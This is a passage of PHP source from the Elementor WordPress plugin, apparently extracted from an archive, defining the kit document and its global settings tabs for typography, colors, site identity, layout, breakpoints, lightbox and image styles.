$this->add_control( 'link_normal_color', [ 'label' => esc_html__( 'Color', 'elementor' ), 'type' => Controls_Manager::COLOR, 'dynamic' => [], 'selectors' => [ $link_selectors => 'color: {{VALUE}};', ], ] ); $this->add_group_control( Group_Control_Typography::get_type(), [ 'name' => 'link_normal_typography', 'selector' => $link_selectors, ] ); $this->end_controls_tab(); $this->start_controls_tab( 'tab_link_hover', [ 'label' => esc_html__( 'Hover', 'elementor' ), ] ); $this->add_control( 'link_hover_color', [ 'label' => esc_html__( 'Color', 'elementor' ), 'type' => Controls_Manager::COLOR, 'dynamic' => [], 'selectors' => [ $link_hover_selectors => 'color: {{VALUE}};', ], ] ); $this->add_group_control( Group_Control_Typography::get_type(), [ 'name' => 'link_hover_typography', 'selector' => $link_hover_selectors, ] ); $this->end_controls_tab(); $this->end_controls_tabs(); // Headings. $this->add_element_controls( 'H1', 'h1', '{{WRAPPER}} h1' ); $this->add_element_controls( 'H2', 'h2', '{{WRAPPER}} h2' ); $this->add_element_controls( 'H3', 'h3', '{{WRAPPER}} h3' ); $this->add_element_controls( 'H4', 'h4', '{{WRAPPER}} h4' ); $this->add_element_controls( 'H5', 'h5', '{{WRAPPER}} h5' ); $this->add_element_controls( 'H6', 'h6', '{{WRAPPER}} h6' ); $this->end_controls_section(); } private function add_element_controls( $label, $prefix, $selector ) { $this->add_control( $prefix . '_heading', [ 'type' => Controls_Manager::HEADING, 'label' => $label, 'separator' => 'before', ] ); $this->add_control( $prefix . '_color', [ 'label' => esc_html__( 'Color', 'elementor' ), 'type' => Controls_Manager::COLOR, 'dynamic' => [], 'selectors' => [ $selector => 'color: {{VALUE}};', ], ] ); $this->add_group_control( Group_Control_Typography::get_type(), [ 'name' => $prefix . '_typography', 'selector' => $selector, ] ); } } core/kits/documents/tabs/global-typography.php000064400000012343147206604650015572 0ustar00start_controls_section( 'section_text_style', [ 'label' => esc_html__( 'Global Fonts', 'elementor' ), 'tab' => $this->get_id(), ] ); $repeater = new Repeater(); $repeater->add_control( 'title', [ 'type' => Controls_Manager::TEXT, 'label_block' => true, 'required' => true, ] ); $repeater->add_group_control( Group_Control_Typography::get_type(), [ 'name' => self::TYPOGRAPHY_NAME, 'label' => '', 'global' => [ 'active' => false, ], 'fields_options' => [ 'font_family' => [ 'selectors' => [ '{{SELECTOR}}' => '--e-global-typography-{{external._id.VALUE}}-font-family: "{{VALUE}}"', ], ], 'font_size' => [ 'selectors' => [ '{{SELECTOR}}' => '--e-global-typography-{{external._id.VALUE}}-font-size: {{SIZE}}{{UNIT}}', ], ], 'font_weight' => [ 'selectors' => [ '{{SELECTOR}}' => '--e-global-typography-{{external._id.VALUE}}-font-weight: {{VALUE}}', ], ], 'text_transform' => [ 'selectors' => [ '{{SELECTOR}}' => '--e-global-typography-{{external._id.VALUE}}-text-transform: {{VALUE}}', ], ], 'font_style' => [ 'selectors' => [ '{{SELECTOR}}' => '--e-global-typography-{{external._id.VALUE}}-font-style: {{VALUE}}', ], ], 'text_decoration' => [ 'selectors' => [ '{{SELECTOR}}' => '--e-global-typography-{{external._id.VALUE}}-text-decoration: {{VALUE}}', ], ], 'line_height' => [ 'selectors' => [ '{{SELECTOR}}' => '--e-global-typography-{{external._id.VALUE}}-line-height: {{SIZE}}{{UNIT}}', ], ], 'letter_spacing' => [ 'selectors' => [ '{{SELECTOR}}' => '--e-global-typography-{{external._id.VALUE}}-letter-spacing: {{SIZE}}{{UNIT}}', ], ], 'word_spacing' => [ 'selectors' => [ '{{SELECTOR}}' => '--e-global-typography-{{external._id.VALUE}}-word-spacing: {{SIZE}}{{UNIT}}', ], ], ], ] ); $typography_key = self::TYPOGRAPHY_GROUP_PREFIX . 'typography'; $font_family_key = self::TYPOGRAPHY_GROUP_PREFIX . 'font_family'; $font_weight_key = self::TYPOGRAPHY_GROUP_PREFIX . 'font_weight'; $default_typography = [ [ '_id' => 'primary', 'title' => esc_html__( 'Primary', 'elementor' ), $typography_key => 'custom', $font_family_key => 'Roboto', $font_weight_key => '600', ], [ '_id' => 'secondary', 'title' => esc_html__( 'Secondary', 'elementor' ), $typography_key => 'custom', $font_family_key => 'Roboto Slab', $font_weight_key => '400', ], [ '_id' => 'text', 'title' => esc_html__( 'Text', 'elementor' ), $typography_key => 'custom', $font_family_key => 'Roboto', $font_weight_key => '400', ], [ '_id' => 'accent', 'title' => esc_html__( 'Accent', 'elementor' ), $typography_key => 'custom', $font_family_key => 'Roboto', $font_weight_key => '500', ], ]; $this->add_control( 'heading_system_typography', [ 'type' => Controls_Manager::HEADING, 'label' => esc_html__( 'System Fonts', 'elementor' ), ] ); $this->add_control( 'system_typography', [ 'type' => Global_Style_Repeater::CONTROL_TYPE, 'fields' => $repeater->get_controls(), 'default' => $default_typography, 'item_actions' => [ 'add' => false, 'remove' => false, ], 'separator' => 'after', ] ); $this->add_control( 'heading_custom_typography', [ 'type' => Controls_Manager::HEADING, 'label' => esc_html__( 'Custom Fonts', 'elementor' ), ] ); $this->add_control( 'custom_typography', [ 'type' => Global_Style_Repeater::CONTROL_TYPE, 'fields' => $repeater->get_controls(), ] ); $this->add_control( 'default_generic_fonts', [ 'label' => esc_html__( 'Fallback Font Family', 'elementor' ), 'type' => Controls_Manager::TEXT, 'default' => 'Sans-serif', 'description' => esc_html__( 'The list of fonts used if the chosen font is not available.', 'elementor' ), 'label_block' => true, 'separator' => 'before', 'ai' => [ 'active' => false, ], ] ); $this->end_controls_section(); } } core/kits/documents/tabs/tab-base.php000064400000004224147206604650013603 0ustar00register_tab(); $this->register_tab_controls(); } public function on_save( $data ) {} /** * Before Save * * Allows for modifying the kit data before it is saved to the database. * * @param array $data * @return array */ public function before_save( array $data ) { return $data; } protected function register_tab() { Controls_Manager::add_tab( $this->get_id(), $this->get_title() ); } protected function add_default_globals_notice() { // Get the current section config (array - section id and tab) to use for creating a unique control ID and name $current_section = $this->parent->get_current_section(); /** @var Manager $module */ $kits_manager = Plugin::$instance->kits_manager; if ( $kits_manager->is_custom_colors_enabled() || $kits_manager->is_custom_typography_enabled() ) { $this->add_control( $current_section['section'] . '_schemes_notice', [ 'name' => $current_section['section'] . '_schemes_notice', 'type' => Controls_Manager::ALERT, 'alert_type' => 'warning', 'content' => sprintf( /* translators: 1: Link open tag, 2: Link close tag. */ esc_html__( 'In order for Theme Style to affect all relevant Elementor elements, please disable Default Colors and Fonts from the %1$sSettings Page%2$s.', 'elementor' ), '', '' ), 'render_type' => 'ui', ] ); } } } core/kits/documents/tabs/settings-site-identity.php000064400000010421147206604650016552 0ustar00start_controls_section( 'section_' . $this->get_id(), [ 'label' => $this->get_title(), 'tab' => $this->get_id(), ] ); $this->add_control( $this->get_id() . '_refresh_notice', [ 'type' => Controls_Manager::ALERT, 'alert_type' => 'info', 'content' => sprintf( /* translators: 1: Link open tag, 2: Link open tag, 3: Link close tag. */ esc_html__( 'Changes will be reflected only after %1$s saving %3$s and %2$s reloading %3$s preview.', 'elementor' ), '', '', '' ), ] ); $this->add_control( 'site_name', [ 'label' => esc_html__( 'Site Name', 'elementor' ), 'default' => get_option( 'blogname' ), 'placeholder' => esc_html__( 'Choose name', 'elementor' ), 'label_block' => true, 'export' => false, ] ); $this->add_control( 'site_description', [ 'label' => esc_html__( 'Site Description', 'elementor' ), 'default' => get_option( 'blogdescription' ), 'placeholder' => esc_html__( 'Choose description', 'elementor' ), 'label_block' => true, 'export' => false, ] ); $this->add_control( 'site_logo', [ 'label' => esc_html__( 'Site Logo', 'elementor' ), 'type' => Controls_Manager::MEDIA, 'should_include_svg_inline_option' => $should_include_svg_inline_option, 'default' => [ 'id' => $custom_logo_id, 'url' => $custom_logo_src ? $custom_logo_src[0] : '', ], 'description' => sprintf( /* translators: 1: Width number pixel, 2: Height number pixel. */ esc_html__( 'Suggested image dimensions: %1$s × %2$s pixels.', 'elementor' ), '350', '100' ), 'export' => false, ] ); $this->add_control( 'site_favicon', [ 'label' => esc_html__( 'Site Favicon', 'elementor' ), 'type' => Controls_Manager::MEDIA, 'should_include_svg_inline_option' => $should_include_svg_inline_option, 'default' => [ 'id' => $site_icon_id, 'url' => $site_icon_src ? $site_icon_src[0] : '', ], 'description' => esc_html__( 'Suggested favicon dimensions: 512 × 512 pixels.', 'elementor' ), 'export' => false, ] ); $this->end_controls_section(); } public function on_save( $data ) { if ( ! isset( $data['settings']['post_status'] ) || Document::STATUS_PUBLISH !== $data['settings']['post_status'] || // Should check for the current action to avoid infinite loop // when updating options like: "blogname" and "blogdescription". strpos( current_action(), 'update_option_' ) === 0 ) { return; } if ( isset( $data['settings']['site_name'] ) ) { update_option( 'blogname', $data['settings']['site_name'] ); } if ( isset( $data['settings']['site_description'] ) ) { update_option( 'blogdescription', $data['settings']['site_description'] ); } if ( isset( $data['settings']['site_logo'] ) ) { set_theme_mod( 'custom_logo', $data['settings']['site_logo']['id'] ); } if ( isset( $data['settings']['site_favicon'] ) ) { update_option( 'site_icon', $data['settings']['site_favicon']['id'] ); } } } core/kits/documents/tabs/settings-page-transitions.php000064400000001373147206604650017254 0ustar00controls_manager->add_page_transitions_controls( $this->parent, $this->get_id() ); } } core/kits/documents/tabs/settings-layout.php000064400000027561147206604650015311 0ustar00start_controls_section( 'section_' . $this->get_id(), [ 'label' => esc_html__( 'Layout Settings', 'elementor' ), 'tab' => $this->get_id(), ] ); $this->add_responsive_control( 'container_width', [ 'label' => esc_html__( 'Content Width', 'elementor' ), 'type' => Controls_Manager::SLIDER, 'size_units' => [ 'px', '%', 'em', 'rem', 'vw', 'custom' ], 'default' => [ 'size' => 1140, ], 'tablet_default' => [ 'size' => $breakpoints_default_config[ $breakpoint_key_tablet ]['default_value'], ], 'mobile_default' => [ 'size' => $breakpoints_default_config[ $breakpoint_key_mobile ]['default_value'], ], 'range' => [ 'px' => [ 'min' => 300, 'max' => 1500, 'step' => 10, ], ], 'description' => esc_html__( 'Sets the default width of the content area (Default: 1140px)', 'elementor' ), 'selectors' => [ '.elementor-section.elementor-section-boxed > .elementor-container' => 'max-width: {{SIZE}}{{UNIT}}', '.e-con' => '--container-max-width: {{SIZE}}{{UNIT}}', ], ] ); $is_container_active = Plugin::instance()->experiments->is_feature_active( 'container' ); if ( $is_container_active ) { $this->add_responsive_control( 'container_padding', [ 'label' => esc_html__( 'Container Padding', 'elementor' ), 'type' => Controls_Manager::DIMENSIONS, 'size_units' => [ 'px', '%', 'em', 'rem', 'vw', 'custom' ], 'description' => esc_html__( 'Sets the default space inside the container (Default is 10px)', 'elementor' ), 'selectors' => [ '.e-con' => '--container-default-padding-top: {{TOP}}{{UNIT}}; --container-default-padding-right: {{RIGHT}}{{UNIT}}; --container-default-padding-bottom: {{BOTTOM}}{{UNIT}}; --container-default-padding-left: {{LEFT}}{{UNIT}};', ], ] ); } $widgets_space_label = $is_container_active ? esc_html__( 'Gaps', 'elementor' ) : esc_html__( 'Widgets Space', 'elementor' ); $this->add_control( 'space_between_widgets', [ 'label' => $widgets_space_label, 'type' => Controls_Manager::GAPS, 'default' => [ 'row' => '20', 'column' => '20', 'unit' => 'px', ], 'size_units' => [ 'px', '%', 'em', 'rem', 'vw', 'custom' ], 'placeholder' => [ 'row' => '20', 'column' => '20', ], 'description' => esc_html__( 'Sets the default space between widgets (Default: 20px)', 'elementor' ), 'selectors' => [ '.elementor-widget:not(:last-child)' => 'margin-block-end: {{ROW}}{{UNIT}}', '.elementor-element' => '--widgets-spacing: {{ROW}}{{UNIT}} {{COLUMN}}{{UNIT}}', ], 'conversion_map' => [ 'old_key' => 'size', 'new_key' => 'column', ], 'upgrade_conversion_map' => [ 'old_key' => 'size', 'new_keys' => [ 'column', 'row' ], ], 'validators' => [ 'Number' => [ 'min' => 0, ], ], ] ); $this->add_control( 'page_title_selector', [ 'label' => esc_html__( 'Page Title Selector', 'elementor' ), 'type' => Controls_Manager::TEXT, 'default' => 'h1.entry-title', 'placeholder' => 'h1.entry-title', 'description' => esc_html__( 'Elementor lets you hide the page title. This works for themes that have "h1.entry-title" selector. If your theme\'s selector is different, please enter it above.', 'elementor' ), 'label_block' => true, 'ai' => [ 'active' => false, ], 'selectors' => [ // Hack to convert the value into a CSS selector. '' => '}{{VALUE}}{display: var(--page-title-display)', ], ] ); $this->add_control( 'stretched_section_container', [ 'label' => esc_html__( 'Stretched Section Fit To', 'elementor' ), 'type' => Controls_Manager::TEXT, 'placeholder' => 'body', 'description' => esc_html__( 'Enter parent element selector to which stretched sections will fit to (e.g. #primary / .wrapper / main etc). Leave blank to fit to page width.', 'elementor' ), 'label_block' => true, 'frontend_available' => true, 'ai' => [ 'active' => false, ], ] ); /** * @var PageTemplatesModule $page_templates_module */ $page_templates_module = Plugin::$instance->modules_manager->get_modules( 'page-templates' ); $page_templates = $page_templates_module->add_page_templates( [], null, null ); // Removes the Theme option from the templates because 'default' is already handled. unset( $page_templates[ PageTemplatesModule::TEMPLATE_THEME ] ); $page_template_control_options = [ 'label' => esc_html__( 'Default Page Layout', 'elementor' ), 'options' => [ // This is here because the "Theme" string is different than the default option's string. 'default' => esc_html__( 'Theme', 'elementor' ), ] + $page_templates, ]; $page_templates_module->add_template_controls( $this->parent, 'default_page_template', $page_template_control_options ); $this->end_controls_section(); $this->start_controls_section( 'section_breakpoints', [ 'label' => esc_html__( 'Breakpoints', 'elementor' ), 'tab' => $this->get_id(), ] ); $prefix = Breakpoints_Manager::BREAKPOINT_SETTING_PREFIX; $options = []; foreach ( $breakpoints_default_config as $breakpoint_key => $breakpoint ) { $options[ $prefix . $breakpoint_key ] = $breakpoint['label']; } if ( Plugin::$instance->experiments->is_feature_active( 'additional_custom_breakpoints' ) ) { $active_breakpoints_control_type = Controls_Manager::SELECT2; } else { $active_breakpoints_control_type = Controls_Manager::HIDDEN; } $this->add_control( self::ACTIVE_BREAKPOINTS_CONTROL_ID, [ 'label' => esc_html__( 'Active Breakpoints', 'elementor' ), 'type' => $active_breakpoints_control_type, 'description' => esc_html__( 'Mobile and Tablet options cannot be deleted.', 'elementor' ), 'options' => $options, 'default' => [ $prefix . $breakpoint_key_mobile, $prefix . $breakpoint_key_tablet, ], 'select2options' => [ 'allowClear' => false, ], 'lockedOptions' => [ $prefix . $breakpoint_key_mobile, $prefix . $breakpoint_key_tablet, ], 'label_block' => true, 'render_type' => 'none', 'frontend_available' => true, 'multiple' => true, ] ); $this->add_breakpoints_controls(); // Include the old mobile and tablet breakpoint controls as hidden for backwards compatibility. $this->add_control( 'viewport_md', [ 'type' => Controls_Manager::HIDDEN ] ); $this->add_control( 'viewport_lg', [ 'type' => Controls_Manager::HIDDEN ] ); $this->end_controls_section(); } /** * Before Save * * Runs Before the Kit document is saved. * * For backwards compatibility, when the mobile and tablet breakpoints are updated, we also update the * old breakpoint settings ('viewport_md', 'viewport_lg' ) with the saved values + 1px. The reason 1px * is added is because the old breakpoints system was min-width based, and the new system introduced in * Elementor v3.2.0 is max-width based. * * @since 3.2.0 * * @param array $data * @return array $data */ public function before_save( array $data ) { // When creating a default kit, $data['settings'] is empty and should remain empty, so settings. if ( empty( $data['settings'] ) ) { return $data; } $prefix = Breakpoints_Manager::BREAKPOINT_SETTING_PREFIX; $mobile_breakpoint_key = $prefix . Breakpoints_Manager::BREAKPOINT_KEY_MOBILE; $tablet_breakpoint_key = $prefix . Breakpoints_Manager::BREAKPOINT_KEY_TABLET; $default_breakpoint_config = Breakpoints_Manager::get_default_config(); // Update the old mobile breakpoint. If the setting is empty, use the default value. $data['settings'][ $prefix . 'md' ] = empty( $data['settings'][ $mobile_breakpoint_key ] ) ? $default_breakpoint_config[ Breakpoints_Manager::BREAKPOINT_KEY_MOBILE ]['default_value'] + 1 : $data['settings'][ $mobile_breakpoint_key ] + 1; // Update the old tablet breakpoint. If the setting is empty, use the default value. $data['settings'][ $prefix . 'lg' ] = empty( $data['settings'][ $tablet_breakpoint_key ] ) ? $default_breakpoint_config[ Breakpoints_Manager::BREAKPOINT_KEY_TABLET ]['default_value'] + 1 : $data['settings'][ $tablet_breakpoint_key ] + 1; return $data; } public function on_save( $data ) { if ( ! isset( $data['settings'] ) || ( isset( $data['settings']['post_status'] ) && Document::STATUS_PUBLISH !== $data['settings']['post_status'] ) ) { return; } $should_compile_css = false; $breakpoints_default_config = Breakpoints_Manager::get_default_config(); foreach ( $breakpoints_default_config as $breakpoint_key => $default_config ) { $breakpoint_setting_key = Breakpoints_Manager::BREAKPOINT_SETTING_PREFIX . $breakpoint_key; if ( isset( $data['settings'][ $breakpoint_setting_key ] ) ) { $should_compile_css = true; } } if ( $should_compile_css ) { Breakpoints_Manager::compile_stylesheet_templates(); } } private function add_breakpoints_controls() { $default_breakpoints_config = Breakpoints_Manager::get_default_config(); $prefix = Breakpoints_Manager::BREAKPOINT_SETTING_PREFIX; // If the ACB experiment is inactive, only add the mobile and tablet controls. if ( ! Plugin::$instance->experiments->is_feature_active( 'additional_custom_breakpoints' ) ) { $default_breakpoints_config = array_intersect_key( $default_breakpoints_config, array_flip( [ Breakpoints_Manager::BREAKPOINT_KEY_MOBILE, Breakpoints_Manager::BREAKPOINT_KEY_TABLET ] ) ); } // Add a control for each of the **default** breakpoints. foreach ( $default_breakpoints_config as $breakpoint_key => $default_breakpoint_config ) { $this->add_control( 'breakpoint_' . $breakpoint_key . '_heading', [ 'label' => $default_breakpoint_config['label'], 'type' => Controls_Manager::HEADING, 'separator' => 'before', 'conditions' => [ 'terms' => [ [ 'name' => 'active_breakpoints', 'operator' => 'contains', 'value' => $prefix . $breakpoint_key, ], ], ], ] ); $control_config = [ 'label' => esc_html__( 'Breakpoint', 'elementor' ) . ' (px)', 'type' => Controls_Manager::NUMBER, 'placeholder' => $default_breakpoint_config['default_value'], 'frontend_available' => true, 'validators' => [ 'Breakpoint' => [ 'breakpointName' => $breakpoint_key, ], ], 'conditions' => [ 'terms' => [ [ 'name' => 'active_breakpoints', 'operator' => 'contains', 'value' => $prefix . $breakpoint_key, ], ], ], ]; if ( Breakpoints_Manager::BREAKPOINT_KEY_WIDESCREEN === $breakpoint_key ) { $control_config['description'] = esc_html__( 'Widescreen breakpoint settings will apply from the selected value and up.', 'elementor' ); } // Add the breakpoint Control itself. $this->add_control( $prefix . $breakpoint_key, $control_config ); } } } core/kits/documents/tabs/settings-lightbox.php000064400000011400147206604650015575 0ustar00start_controls_section( 'section_' . $this->get_id(), [ 'label' => $this->get_title(), 'tab' => $this->get_id(), ] ); $this->add_control( 'global_image_lightbox', [ 'label' => esc_html__( 'Image Lightbox', 'elementor' ), 'type' => Controls_Manager::SWITCHER, 'default' => 'yes', 'description' => esc_html__( 'Open all image links in a lightbox popup window. The lightbox will automatically work on any link that leads to an image file.', 'elementor' ), 'frontend_available' => true, ] ); $this->add_control( 'lightbox_enable_counter', [ 'label' => esc_html__( 'Counter', 'elementor' ), 'type' => Controls_Manager::SWITCHER, 'default' => 'yes', 'frontend_available' => true, ] ); $this->add_control( 'lightbox_enable_fullscreen', [ 'label' => esc_html__( 'Fullscreen', 'elementor' ), 'type' => Controls_Manager::SWITCHER, 'default' => 'yes', 'frontend_available' => true, ] ); $this->add_control( 'lightbox_enable_zoom', [ 'label' => esc_html__( 'Zoom', 'elementor' ), 'type' => Controls_Manager::SWITCHER, 'default' => 'yes', 'frontend_available' => true, ] ); $this->add_control( 'lightbox_enable_share', [ 'label' => esc_html__( 'Share', 'elementor' ), 'type' => Controls_Manager::SWITCHER, 'default' => 'yes', 'frontend_available' => true, ] ); $this->add_control( 'lightbox_title_src', [ 'label' => esc_html__( 'Title', 'elementor' ), 'type' => Controls_Manager::SELECT, 'options' => [ '' => esc_html__( 'None', 'elementor' ), 'title' => esc_html__( 'Title', 'elementor' ), 'caption' => esc_html__( 'Caption', 'elementor' ), 'alt' => esc_html__( 'Alt', 'elementor' ), 'description' => esc_html__( 'Description', 'elementor' ), ], 'default' => 'title', 'frontend_available' => true, ] ); $this->add_control( 'lightbox_description_src', [ 'label' => esc_html__( 'Description', 'elementor' ), 'type' => Controls_Manager::SELECT, 'options' => [ '' => esc_html__( 'None', 'elementor' ), 'title' => esc_html__( 'Title', 'elementor' ), 'caption' => esc_html__( 'Caption', 'elementor' ), 'alt' => esc_html__( 'Alt', 'elementor' ), 'description' => esc_html__( 'Description', 'elementor' ), ], 'default' => 'description', 'frontend_available' => true, ] ); $this->add_control( 'lightbox_color', [ 'label' => esc_html__( 'Background Color', 'elementor' ), 'type' => Controls_Manager::COLOR, 'selectors' => [ '.elementor-lightbox' => 'background-color: {{VALUE}}', ], ] ); $this->add_control( 'lightbox_ui_color', [ 'label' => esc_html__( 'UI Color', 'elementor' ), 'type' => Controls_Manager::COLOR, 'selectors' => [ '.elementor-lightbox' => '--lightbox-ui-color: {{VALUE}}', ], ] ); $this->add_control( 'lightbox_ui_color_hover', [ 'label' => esc_html__( 'UI Hover Color', 'elementor' ), 'type' => Controls_Manager::COLOR, 'selectors' => [ '.elementor-lightbox' => '--lightbox-ui-color-hover: {{VALUE}}', ], ] ); $this->add_control( 'lightbox_text_color', [ 'label' => esc_html__( 'Text Color', 'elementor' ), 'type' => Controls_Manager::COLOR, 'selectors' => [ '.elementor-lightbox' => '--lightbox-text-color: {{VALUE}}', ], ] ); $this->add_control( 'lightbox_icons_size', [ 'label' => esc_html__( 'Toolbar Icons Size', 'elementor' ), 'type' => Controls_Manager::SLIDER, 'size_units' => [ 'px', 'em', 'rem', 'vw', 'custom' ], 'selectors' => [ '.elementor-lightbox' => '--lightbox-header-icons-size: {{SIZE}}{{UNIT}}', ], 'separator' => 'before', ] ); $this->add_control( 'lightbox_slider_icons_size', [ 'label' => esc_html__( 'Navigation Icons Size', 'elementor' ), 'type' => Controls_Manager::SLIDER, 'size_units' => [ 'px', 'em', 'rem', 'vw', 'custom' ], 'selectors' => [ '.elementor-lightbox' => '--lightbox-navigation-icons-size: {{SIZE}}{{UNIT}}', ], 'separator' => 'before', ] ); $this->end_controls_section(); } } core/kits/documents/tabs/theme-style-images.php000064400000011017147206604650015626 0ustar00start_controls_section( 'section_images', [ 'label' => esc_html__( 'Images', 'elementor' ), 'tab' => $this->get_id(), ] ); $this->add_default_globals_notice(); $this->start_controls_tabs( 'tabs_image_style' ); $this->start_controls_tab( 'tab_image_normal', [ 'label' => esc_html__( 'Normal', 'elementor' ), ] ); $this->add_group_control( Group_Control_Border::get_type(), [ 'name' => 'image_border', 'selector' => $image_selectors, 'fields_options' => [ 'color' => [ 'dynamic' => [], ], ], ] ); $this->add_responsive_control( 'image_border_radius', [ 'label' => esc_html__( 'Border Radius', 'elementor' ), 'type' => Controls_Manager::DIMENSIONS, 'size_units' => [ 'px', '%', 'em', 'rem', 'custom' ], 'selectors' => [ $image_selectors => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};', ], ] ); $this->add_control( 'image_opacity', [ 'label' => esc_html__( 'Opacity', 'elementor' ), 'type' => Controls_Manager::SLIDER, 'range' => [ 'px' => [ 'max' => 1, 'min' => 0.10, 'step' => 0.01, ], ], 'selectors' => [ $image_selectors => 'opacity: {{SIZE}};', ], ] ); $this->add_group_control( Group_Control_Box_Shadow::get_type(), [ 'name' => 'image_box_shadow', 'exclude' => [ 'box_shadow_position', ], 'selector' => $image_selectors, ] ); $this->add_group_control( Group_Control_Css_Filter::get_type(), [ 'name' => 'image_css_filters', 'selector' => '{{WRAPPER}} img', ] ); $this->end_controls_tab(); $this->start_controls_tab( 'tab_image_hover', [ 'label' => esc_html__( 'Hover', 'elementor' ), ] ); $this->add_group_control( Group_Control_Border::get_type(), [ 'name' => 'image_hover_border', 'selector' => '{{WRAPPER}} img:hover', 'fields_options' => [ 'color' => [ 'dynamic' => [], ], ], ] ); $this->add_responsive_control( 'image_hover_border_radius', [ 'label' => esc_html__( 'Border Radius', 'elementor' ), 'type' => Controls_Manager::DIMENSIONS, 'size_units' => [ 'px', '%', 'em', 'rem', 'custom' ], 'selectors' => [ $image_hover_selectors => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};', ], ] ); $this->add_control( 'image_hover_opacity', [ 'label' => esc_html__( 'Opacity', 'elementor' ), 'type' => Controls_Manager::SLIDER, 'range' => [ 'px' => [ 'max' => 1, 'min' => 0.10, 'step' => 0.01, ], ], 'selectors' => [ $image_hover_selectors => 'opacity: {{SIZE}};', ], ] ); $this->add_group_control( Group_Control_Box_Shadow::get_type(), [ 'name' => 'image_hover_box_shadow', 'exclude' => [ 'box_shadow_position', ], 'selector' => $image_hover_selectors, ] ); $this->add_group_control( Group_Control_Css_Filter::get_type(), [ 'name' => 'image_hover_css_filters', 'selector' => $image_hover_selectors, ] ); $this->add_control( 'image_hover_transition', [ 'label' => esc_html__( 'Transition Duration', 'elementor' ) . ' (s)', 'type' => Controls_Manager::SLIDER, 'range' => [ 'px' => [ 'min' => 0, 'max' => 3, 'step' => 0.1, ], ], 'selectors' => [ $image_selectors => 'transition-duration: {{SIZE}}s', ], ] ); $this->end_controls_tab(); $this->end_controls_tabs(); $this->end_controls_section(); } } core/kits/documents/tabs/global-colors.php000064400000005371147206604650014670 0ustar00start_controls_section( 'section_global_colors', [ 'label' => esc_html__( 'Global Colors', 'elementor' ), 'tab' => $this->get_id(), ] ); $repeater = new Repeater(); $repeater->add_control( 'title', [ 'type' => Controls_Manager::TEXT, 'label_block' => true, 'required' => true, ] ); // Color Value $repeater->add_control( 'color', [ 'type' => Controls_Manager::COLOR, 'label_block' => true, 'selectors' => [ '{{WRAPPER}}' => '--e-global-color-{{_id.VALUE}}: {{VALUE}}', ], 'global' => [ 'active' => false, ], ] ); $default_colors = [ [ '_id' => 'primary', 'title' => esc_html__( 'Primary', 'elementor' ), 'color' => '#6EC1E4', ], [ '_id' => 'secondary', 'title' => esc_html__( 'Secondary', 'elementor' ), 'color' => '#54595F', ], [ '_id' => 'text', 'title' => esc_html__( 'Text', 'elementor' ), 'color' => '#7A7A7A', ], [ '_id' => 'accent', 'title' => esc_html__( 'Accent', 'elementor' ), 'color' => '#61CE70', ], ]; $this->add_control( 'heading_system_colors', [ 'type' => Controls_Manager::HEADING, 'label' => esc_html__( 'System Colors', 'elementor' ), ] ); $this->add_control( 'system_colors', [ 'type' => Global_Style_Repeater::CONTROL_TYPE, 'fields' => $repeater->get_controls(), 'default' => $default_colors, 'item_actions' => [ 'add' => false, 'remove' => false, ], 'separator' => 'after', ] ); $this->add_control( 'heading_custom_colors', [ 'type' => Controls_Manager::HEADING, 'label' => esc_html__( 'Custom Colors', 'elementor' ), ] ); $this->add_control( 'custom_colors', [ 'type' => Global_Style_Repeater::CONTROL_TYPE, 'fields' => $repeater->get_controls(), ] ); $this->end_controls_section(); } } core/kits/documents/kit.php000064400000012613147206604650011764 0ustar00register_tabs(); } public static function get_properties() { $properties = parent::get_properties(); $properties['has_elements'] = false; $properties['show_in_finder'] = false; $properties['show_on_admin_bar'] = false; $properties['edit_capability'] = 'edit_theme_options'; $properties['support_kit'] = true; return $properties; } public static function get_type() { return 'kit'; } public static function get_title() { return esc_html__( 'Kit', 'elementor' ); } /** * @return Tabs\Tab_Base[] */ public function get_tabs() { return $this->tabs; } /** * Retrieve a tab by ID. * * @param $id * * @return Tabs\Tab_Base */ public function get_tab( $id ) { return self::get_items( $this->get_tabs(), $id ); } protected function get_have_a_look_url() { return ''; } public static function get_editor_panel_config() { $config = parent::get_editor_panel_config(); $config['default_route'] = 'panel/global/menu'; $config['needHelpUrl'] = 'https://go.elementor.com/global-settings/'; return $config; } public function get_css_wrapper_selector() { return '.elementor-kit-' . $this->get_main_id(); } public function save( $data ) { foreach ( $this->tabs as $tab ) { $data = $tab->before_save( $data ); } $saved = parent::save( $data ); if ( ! $saved ) { return false; } // Should set is_saving to true, to avoid infinite loop when updating // settings like: 'site_name" or "site_description". $this->set_is_saving( true ); foreach ( $this->tabs as $tab ) { $tab->on_save( $data ); } $this->set_is_saving( false ); // When deleting a global color or typo, the css variable still exists in the frontend // but without any value and it makes the element to be un styled even if there is a default style for the base element, // for that reason this method removes css files of the entire site. Plugin::instance()->files_manager->clear_cache(); return $saved; } /** * Register a kit settings menu. * * @param $id * @param $class */ public function register_tab( $id, $class ) { $this->tabs[ $id ] = new $class( $this ); } /** * @inheritDoc */ protected function get_initial_config() { $config = parent::get_initial_config(); foreach ( $this->tabs as $id => $tab ) { $config['tabs'][ $id ] = [ 'id' => $id, 'title' => $tab->get_title(), 'icon' => $tab->get_icon(), 'group' => $tab->get_group(), 'helpUrl' => $tab->get_help_url(), 'additionalContent' => $tab->get_additional_tab_content(), ]; } return $config; } /** * @since 3.1.0 * @access protected */ protected function register_controls() { $this->register_document_controls(); foreach ( $this->tabs as $tab ) { $tab->register_controls(); } } protected function get_post_statuses() { return [ 'draft' => sprintf( '%s (%s)', esc_html__( 'Disabled', 'elementor' ), esc_html__( 'Draft', 'elementor' ) ), 'publish' => esc_html__( 'Published', 'elementor' ), ]; } public function add_repeater_row( $control_id, $item ) { $meta_key = PageManager::META_KEY; $document_settings = $this->get_meta( $meta_key ); if ( ! $document_settings ) { $document_settings = []; } if ( ! isset( $document_settings[ $control_id ] ) ) { $document_settings[ $control_id ] = []; } $document_settings[ $control_id ][] = $item; $page_settings_manager = SettingsManager::get_settings_managers( 'page' ); $page_settings_manager->save_settings( $document_settings, $this->get_id() ); /** @var Kit $autosave **/ $autosave = $this->get_autosave(); if ( $autosave ) { $autosave->add_repeater_row( $control_id, $item ); } // Remove Post CSS. $post_css = Post_CSS::create( $this->post->ID ); $post_css->delete(); // Refresh Cache. Plugin::$instance->documents->get( $this->post->ID, false ); $post_css = Post_CSS::create( $this->post->ID ); 